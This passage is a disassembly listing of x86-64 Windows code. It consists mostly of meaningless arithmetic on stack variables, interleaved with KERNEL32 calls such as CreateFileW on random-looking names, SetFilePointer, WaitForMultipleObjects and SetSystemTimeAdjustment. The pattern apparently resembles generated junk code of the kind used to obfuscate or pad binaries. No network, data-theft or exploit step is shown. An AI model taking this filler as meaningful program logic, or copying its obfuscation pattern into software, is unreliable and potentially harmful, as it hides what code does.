mov rcx, qword [rsp + 0xa408]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x2c4], al
movsx eax, word [rsp + 0x1d20]
movsx ecx, word [rsp + 0x1e28]
sub eax, ecx
mov word [rsp + 0xad0], ax
mov rax, qword [rsp + 0xb910]
movzx eax, word [rax]
mov rcx, qword [0x14022b9d8]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x14022bb88], ax
mov rax, qword [rsp + 0xab00]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xacf0]
sar rax, cl
mov rcx, qword [rsp + 0xa4b8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xabe8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa260]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb440], rax
mov rax, qword [0x140229fc0]
mov qword [rsp + 0xb980], rax
mov rax, qword [rsp + 0x9ee0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1518]
sub eax, ecx
mov rcx, qword [rsp + 0xb018]
mov word [rcx], ax
lea rax, [rsp + 0x2dd]
mov qword [rsp + 0xb988], rax
mov rax, qword [rsp + 0xaad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x47d0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3d60], eax
mov rax, qword [rsp + 0xb458]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xab48]
shl rax, cl
mov qword [rsp + 0xa0e0], rax
lea rdx, [rsp + 0x4988]
mov rcx, qword [rsp + 0xac68]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47c4], eax
mov rax, qword [rsp + 0xaf80]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x19e]
xor eax, ecx
mov byte [rsp + 0xc7], al
mov rax, qword [rsp + 0xa550]
mov ecx, dword [rsp + 0x49c8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xae48]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1f38]
movsx ecx, word [rsp + 0x7b8]
sar eax, cl
mov rcx, qword [0x14022bbe8]
mov word [rcx], ax
lea rax, [rsp + 0x1f40]
mov qword [rsp + 0xb990], rax
mov rax, qword [rsp + 0xaf38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa0d8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaf48]
mov word [rcx], ax
mov rax, qword [rsp + 0xa860]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa6b0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8990], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xb998], rax
mov rax, qword [rsp + 0xb808]
mov rax, qword [rax]
mov qword [rsp + 0xb9a0], rax
lea rdx, [rsp + 0x4a2c]
mov rcx, qword [rsp + 0xaae8]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x49ac], eax
mov rax, qword [rsp + 0xb150]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xad98]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x34f], al
mov rax, qword [rsp + 0x9cc0]
mov rcx, qword [rsp + 0xb108]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3c5c], eax
movsx eax, word [rsp + 0xc24]
mov rcx, qword [rsp + 0x9c00]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1ec8], ax
mov rax, qword [rsp + 0xb800]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e08]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xa58], ax
mov rax, qword [rsp + 0xad50]
mov rax, qword [rax]
mov qword [0x14022bcf0], rax
lea rax, [rsp + 0x163c]
mov qword [rsp + 0xb9a8], rax
mov rax, qword [rsp + 0x9df0]
mov rcx, qword [rsp + 0x76b0]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7f68], rax
mov rax, qword [rsp + 0xa820]
mov rax, qword [rax]
mov qword [rsp + 0xb9b0], rax
mov rax, qword [rsp + 0x9ce8]
mov rcx, qword [rsp + 0xa208]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9408], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.AtNJYbAa1rWK_bo8X1Lkm5ZcO
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb9b8], rax
mov rax, qword [rsp + 0xacb8]
mov eax, dword [rax]
mov dword [rsp + 0x4acc], eax
mov rax, qword [rsp + 0x9b38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4674]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb450]
mov dword [rcx], eax
lea rcx, [rsp + 0xab40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
movzx eax, byte [rsp + 0x35d]
movzx ecx, byte [rsp + 0x2bb]
shl eax, cl
mov byte [rsp + 0x100], al
mov r9d, 0x708
xor r8d, r8d
lea rdx, [rsp + 0xb2b0]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4914], eax
mov rax, qword [rsp + 0xac58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xac20]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2de], al
movsx eax, word [rsp + 0x1db0]
mov rcx, qword [0x14022ba58]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14022a098], ax
mov rax, qword [rsp + 0xad28]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d80]
sar eax, cl
mov word [rsp + 0xc24], ax
mov rax, qword [rsp + 0xb410]
movzx eax, word [rax]
mov word [rsp + 0x1f70], ax
movzx eax, word [rsp + 0x1cf0]
mov rcx, qword [rsp + 0xb388]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xaf00]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalCompact]
mov rax, qword [rsp + 0xb150]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb908]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1a8], al
mov rax, qword [rsp + 0x98e8]
mov rcx, qword [0x14022b950]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3b94], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.ytiuP6LFlL5xjYTVE7MpnGleadDzNJ1
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb9c0], rax
mov rax, qword [rsp + 0xb808]
mov rcx, qword [rsp + 0x82f8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9a68]
mov qword [rcx], rax
movzx eax, word [rsp + 0xaec]
mov word [rsp + 0x1f74], ax
movzx eax, word [rsp + 0x1ecc]
movzx ecx, word [0x14022bac0]
and eax, ecx
mov word [rsp + 0x1c7c], ax
mov rax, qword [rsp + 0xb300]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ca8]
add rcx, rax
mov rax, rcx
mov qword [0x140229fb0], rax
mov rax, qword [rsp + 0xa828]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xab18]
mov qword [rsp + 0xb9c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb9c8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x7008], rax
lea rax, [0x14022a030]
mov qword [rsp + 0xb9d0], rax
lea rcx, [rsp + 0x9778]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9d68]
mov rcx, qword [rsp + 0xacd8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xa128], rax
movzx eax, word [rsp + 0x1f30]
mov word [rsp + 0x1f78], ax
mov r9d, 0x1737
xor r8d, r8d
lea rdx, [rsp + 0xb3c8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4aac], eax
mov eax, dword [rsp + 0x3f4c]
mov rcx, qword [rsp + 0xb010]
mov qword [rsp + 0xb9d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xb9d8]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x483c], eax
movzx eax, byte [rsp + 0x3a0]
mov rcx, qword [rsp + 0x9808]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x157], al
mov rax, qword [rsp + 0xb4e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x458c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb8a8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa6e0]
mov rcx, qword [rsp + 0xb978]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9f88]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa478]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x82]
sub eax, ecx
mov rcx, qword [0x14022bc50]
mov byte [rcx], al
lea rax, [0x140229f44]
mov qword [rsp + 0xb9e0], rax
mov rax, qword [rsp + 0xa950]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1f54]
sar eax, cl
mov word [rsp + 0x1dc8], ax
mov rax, qword [rsp + 0x9e98]
movzx eax, word [rax]
mov word [rsp + 0x1f7c], ax
mov rax, qword [rsp + 0x9ba8]
mov rcx, qword [0x14022a050]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xaf30], rax
mov eax, dword [rsp + 0x45a0]
mov ecx, dword [rsp + 0x413c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb8a8]
mov dword [rcx], eax
lea rax, [rsp + 0x36e]
mov qword [rsp + 0xb9e8], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [0x14022b808]
mov rcx, qword [rsp + 0x6f58]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xa1e8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.5EPdDTDVQN
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb9f0], rax
movsx eax, word [rsp + 0x1d30]
movsx ecx, word [rsp + 0x1d8c]
and eax, ecx
mov word [rsp + 0x7e4], ax
mov rax, qword [rsp + 0xa458]
movzx eax, word [rax]
mov word [0x14022bcf8], ax
mov rax, qword [rsp + 0xa298]
mov rcx, qword [0x14022bc88]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7ed8], rax
movzx eax, word [rsp + 0x1f1c]
movzx ecx, word [rsp + 0x1e04]
add eax, ecx
mov word [rsp + 0x1cd0], ax
mov eax, dword [rsp + 0x48f0]
mov dword [rsp + 0x4ad0], eax
movzx eax, byte [0x140229f1d]
mov rcx, qword [rsp + 0xaa08]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x36a], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
lea rax, [rsp + 0xce]
mov qword [rsp + 0xb9f8], rax
mov rax, qword [rsp + 0xa818]
mov rcx, qword [rsp + 0xad38]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x413c], eax
mov rax, qword [rsp + 0xa098]
movzx ecx, al
mov rax, qword [0x14022a048]
shl rax, cl
mov qword [rsp + 0x6f58], rax
mov rax, qword [rsp + 0x9f00]
movzx eax, word [rax]
mov word [rsp + 0x1f80], ax
mov rax, qword [rsp + 0xa588]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14e4]
sar eax, cl
mov word [0x14022a09c], ax
mov rax, qword [rsp + 0x9d48]
mov rcx, qword [rsp + 0xa8e0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb7d8]
mov qword [rcx], rax
mov r9d, 0x2f6
xor r8d, r8d
lea rdx, [rsp + 0xb158]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4784], eax
mov rax, qword [rsp + 0xa6c8]
mov rcx, qword [rsp + 0xad10]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x91f8], rax
movsx eax, word [rsp + 0x1e98]
mov rcx, qword [rsp + 0xa528]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d58], ax
movzx eax, word [rsp + 0x1f1c]
mov word [rsp + 0x1f84], ax
lea rcx, [rsp + 0xadf0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9d18]
mov rcx, qword [rsp + 0xb808]
mov qword [rsp + 0xba00], rcx
movzx ecx, al
mov rax, qword [rsp + 0xba00]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x9b58], rax
mov rax, qword [rsp + 0xb598]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x6a]
and eax, ecx
mov byte [rsp + 0x3a6], al
xor edx, edx
mov eax, dword [rsp + 0x4a70]
mov ecx, 0xc1bb
div ecx
mov dword [rsp + 0x3a84], eax
mov rax, qword [0x14022a060]
mov rcx, qword [rsp + 0xa6b0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb690], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.HsJMnHcovkMlFliir83al
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xba08], rax
mov rax, qword [rsp + 0xa558]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb238]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14022b9b8], ax
movzx eax, word [rsp + 0xbe0]
mov word [rsp + 0x1f88], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x77e6
mov rcx, qword [rsp + 0xaaf0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47e8], eax
mov rax, qword [rsp + 0xa780]
mov rcx, qword [rsp + 0x9be0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x49b4], eax
mov rax, qword [rsp + 0xaa38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x347]
xor eax, ecx
mov byte [rsp + 0x361], al
lea rax, [rsp + 0x7c20]
mov qword [rsp + 0xba10], rax
mov rax, qword [rsp + 0xb8e8]
mov rax, qword [rax]
mov rcx, qword [0x14022bc00]
mov qword [rsp + 0xba18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xba18]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7e48], rax
mov eax, dword [rsp + 0x4754]
mov dword [rsp + 0x4ad4], eax
movsx eax, byte [rsp + 0x3a5]
mov rcx, qword [rsp + 0x9fa8]
movsx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0xab28]
mov byte [rcx], al
lea rdx, [rsp + 0x46f0]
mov rcx, qword [rsp + 0xa530]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4ad8], eax
mov rax, qword [0x14022bbf8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb940]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1e6c], ax
movzx eax, word [rsp + 0x1d08]
movzx ecx, word [rsp + 0x1e30]
sub eax, ecx
mov rcx, qword [0x14022bb28]
mov word [rcx], ax
mov rax, qword [rsp + 0xb7d8]
mov rcx, qword [0x14022bcb8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8ff0], rax
movzx eax, word [rsp + 0x1e34]
mov rcx, qword [rsp + 0xae38]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x81c], ax
lea rax, [rsp + 0x1cd4]
mov qword [rsp + 0xba20], rax
lea rcx, [rsp + 0xa6b8]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [0x140229fe0]
mov rcx, qword [rsp + 0xb728]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x76b0], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetSystemTimeAdjustment]
mov rax, qword [rsp + 0x7158]
movzx ecx, al
mov rax, qword [rsp + 0xa8b0]
shr rax, cl
mov rcx, qword [rsp + 0xaf40]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa120]
movzx eax, byte [rax]
mov byte [rsp + 0x3a7], al
mov rax, qword [rsp + 0xb0e8]
mov eax, dword [rax]
mov ecx, dword [0x140229ff0]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xaef0]
mov dword [rcx], eax
lea rax, [rsp + 0x1f14]
mov qword [rsp + 0xba28], rax
lea rax, [rsp + 0x73c0]
mov qword [0x14022bd00], rax
lea rdx, [rsp + 0x4904]
mov rcx, qword [rsp + 0xb828]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4adc], eax
movzx eax, byte [rsp + 0x396]
movzx ecx, byte [0x140229f1d]
and eax, ecx
mov byte [rsp + 0x320], al
mov rax, qword [rsp + 0xaeb0]
mov ecx, dword [rsp + 0x46ac]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x41c8], eax
movsx eax, word [rsp + 0x1c98]
movsx ecx, word [rsp + 0x864]
or eax, ecx
mov word [rsp + 0x1394], ax
movzx eax, word [0x140229f7c]
mov rcx, qword [rsp + 0xa168]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x9748]
mov word [rcx], ax
mov eax, dword [rsp + 0x4614]
mov dword [rsp + 0x4ae0], eax
mov rax, qword [rsp + 0x9758]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa5a8]
mov qword [rsp + 0xba30], rcx
movzx ecx, al
mov rax, qword [rsp + 0xba30]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x8ef0], rax
mov rax, qword [0x14022bb00]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x27f]
sar eax, cl
mov byte [rsp + 0xbd], al
movsx eax, word [rsp + 0x1dd0]
mov rcx, qword [rsp + 0xa2d8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ed4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
lea rax, [rsp + 0x1cc8]
mov qword [0x14022bd08], rax
mov rax, qword [rsp + 0xa660]
mov rcx, qword [rsp + 0x9188]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9810], rax
mov rax, qword [rsp + 0x73a0]
mov qword [rsp + 0xba38], rax
mov rax, qword [0x14022bb70]
mov rcx, qword [rsp + 0xa200]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xba10]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1ec8]
mov word [rsp + 0x1f8c], ax
mov rax, qword [rsp + 0xaf50]
mov rcx, qword [rsp + 0xae50]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9d00]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x1bfe
mov rcx, qword [rsp + 0x96f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x45e4], eax
movsx eax, byte [rsp + 0x164]
mov rcx, qword [0x14022bb00]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa9f0]
mov byte [rcx], al
lea rcx, [rsp + 0xba40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9c40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x40f4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3a4c], eax
mov rax, qword [rsp + 0xaa38]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x20a]
sar eax, cl
mov byte [rsp + 0x345], al
lea rax, [rsp + 0x4630]
mov qword [rsp + 0xba48], rax
mov rax, qword [rsp + 0xaec0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1bbc]
sub eax, ecx
mov word [0x14022b8d4], ax
movzx eax, word [rsp + 0x1eac]
mov rcx, qword [rsp + 0xb090]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa420]
mov word [rcx], ax
mov r9d, 0x1705
xor r8d, r8d
lea rdx, [rsp + 0x9f50]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4a74], eax
lea rdx, [rsp + 0x4ae4]
mov rcx, qword [rsp + 0xb630]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4868], eax
lea rax, [0x14022b900]
mov qword [rsp + 0xba50], rax
mov rax, qword [rsp + 0xb1a8]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0xa298]
shl rax, cl
mov qword [rsp + 0x8ca8], rax
mov rax, qword [rsp + 0x9e80]
movsx eax, byte [rax]
mov rcx, qword [0x14022ba80]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x39d], al
lea rax, [rsp + 0x4978]
mov qword [rsp + 0xba58], rax
mov rax, qword [rsp + 0xa2a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7950]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaff8]
mov qword [rcx], rax
movzx eax, word [rsp + 0x1ec8]
mov word [rsp + 0x1f90], ax
mov rax, qword [rsp + 0xa330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb2b8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa148]
mov word [rcx], ax
mov rax, qword [rsp + 0xaea0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xba10]
mov qword [rsp + 0xba60], rcx
movzx ecx, al
mov rax, qword [rsp + 0xba60]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [0x14022bcb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa338]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ca4]
sub eax, ecx
mov word [rsp + 0x1a3c], ax
mov rax, qword [rsp + 0xa5b0]
mov rcx, qword [rsp + 0x85f8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8250], rax
mov rax, qword [rsp + 0x7288]
mov rcx, qword [rsp + 0xb530]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9a20], rax
lea rax, [rsp + 0xb0f0]
mov qword [rsp + 0xba68], rax
mov rcx, qword [rsp + 0xb3c8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rdx, [rsp + 0x4ae8]
mov rcx, qword [rsp + 0xaf20]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4694], eax
mov rax, qword [rsp + 0xaa00]
mov rcx, qword [rsp + 0xa858]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x447c], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0xd972
mov rcx, qword [rsp + 0x9df8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x49ac], eax
movzx eax, byte [rsp + 0x35f]
movzx ecx, byte [0x140229f1d]
add eax, ecx
mov rcx, qword [rsp + 0xad58]
mov byte [rcx], al
mov rax, qword [rsp + 0x9b68]
mov eax, dword [rax]
mov dword [rsp + 0x4aec], eax
mov rax, qword [rsp + 0x9e80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb1e0]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa9b8]
mov byte [rcx], al
mov rax, qword [rsp + 0xae58]
movzx eax, word [rax]
mov word [0x14022bd10], ax
mov rax, qword [rsp + 0xaa80]
movzx eax, word [rax]
mov word [rsp + 0x1f94], ax
mov rax, qword [rsp + 0xa718]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9b78]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1de0], ax
mov rax, qword [rsp + 0xaf48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa420]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0xbe0], ax
lea rax, [0x14022bae4]
mov qword [rsp + 0xba70], rax
movsx eax, byte [rsp + 0x3a4]
mov rcx, qword [rsp + 0x9ea8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xa730]
mov byte [rcx], al
mov rax, qword [rsp + 0xa390]
mov rcx, qword [rsp + 0xb048]
mov qword [rsp + 0xba78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xba78]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7138], rax
movsx eax, word [rsp + 0x1f18]
movsx ecx, word [rsp + 0x1dc4]
sub eax, ecx
mov word [rsp + 0x17d8], ax
lea rax, [rsp + 0x17c8]
mov qword [rsp + 0xba80], rax
mov rax, qword [rsp + 0x9db0]
mov rcx, qword [0x14022a078]
mov rax, qword [rax]
add rax, rcx
mov qword [0x14022a060], rax
mov rax, qword [rsp + 0x9b60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xabe8]
mov qword [rsp + 0xba88], rcx
movzx ecx, al
mov rax, qword [rsp + 0xba88]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x9d38]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb810]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7820]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xab18]
mov qword [rcx], rax
lea rax, [0x140229f48]
mov qword [rsp + 0xba90], rax
movzx eax, word [rsp + 0x1ab8]
mov rcx, qword [rsp + 0xa000]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xb30], ax
movzx eax, byte [rsp + 0x3a1]
mov byte [rsp + 0x3a8], al
mov rax, qword [rsp + 0xb768]
mov rcx, qword [rsp + 0x9be0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x3c40], eax
mov rax, qword [rsp + 0xa8f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4484]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4844], eax
movsx eax, byte [rsp + 0x3a6]
mov rcx, qword [rsp + 0xae30]
movsx ecx, byte [rcx]
cdq
idiv ecx
mov byte [rsp + 0x1fd], al
mov rax, qword [0x14022b818]
mov rax, qword [rax]
mov qword [0x14022bd18], rax
mov rax, qword [rsp + 0x9c18]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa628]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1ee0], ax
lea rax, [rsp + 0x1e98]
mov qword [rsp + 0xba98], rax
movzx eax, word [rsp + 0x1f08]
mov rcx, qword [rsp + 0xabd0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x17d0], ax
lea rdx, [rsp + 0x4af0]
mov rcx, qword [rsp + 0x9e50]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4964], eax
lea rcx, [rsp + 0xacc0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xad30]
mov rcx, qword [rsp + 0xb658]
mov qword [rsp + 0xbaa0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbaa0]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x9d38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7dd0]
mov qword [rsp + 0xbaa8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xfdb2
mov rcx, qword [rsp + 0xa4d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47a0], eax
mov rax, qword [0x14022b9d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x350]
xor eax, ecx
mov rcx, qword [rsp + 0xa170]
mov byte [rcx], al
mov eax, dword [rsp + 0x3bc0]
mov dword [rsp + 0x4af4], eax
mov rax, qword [rsp + 0xb8f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb8d0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0xaeb8]
mov word [rcx], ax
mov rax, qword [0x14022baa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb538]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14022bb58]
mov word [rcx], ax
mov rax, qword [rsp + 0xa990]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ca0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x9478], rax
mov rax, qword [rsp + 0xb220]
movzx eax, word [rax]
movzx ecx, word [0x14022bc2c]
sub eax, ecx
mov word [rsp + 0xb08], ax
mov eax, dword [rsp + 0x4958]
mov rcx, qword [rsp + 0xafa0]
mov qword [rsp + 0xbab0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbab0]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xaeb0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9c68]
movzx eax, byte [rax]
mov byte [rsp + 0x3a9], al
lea rdx, [rsp + 0x4ad8]
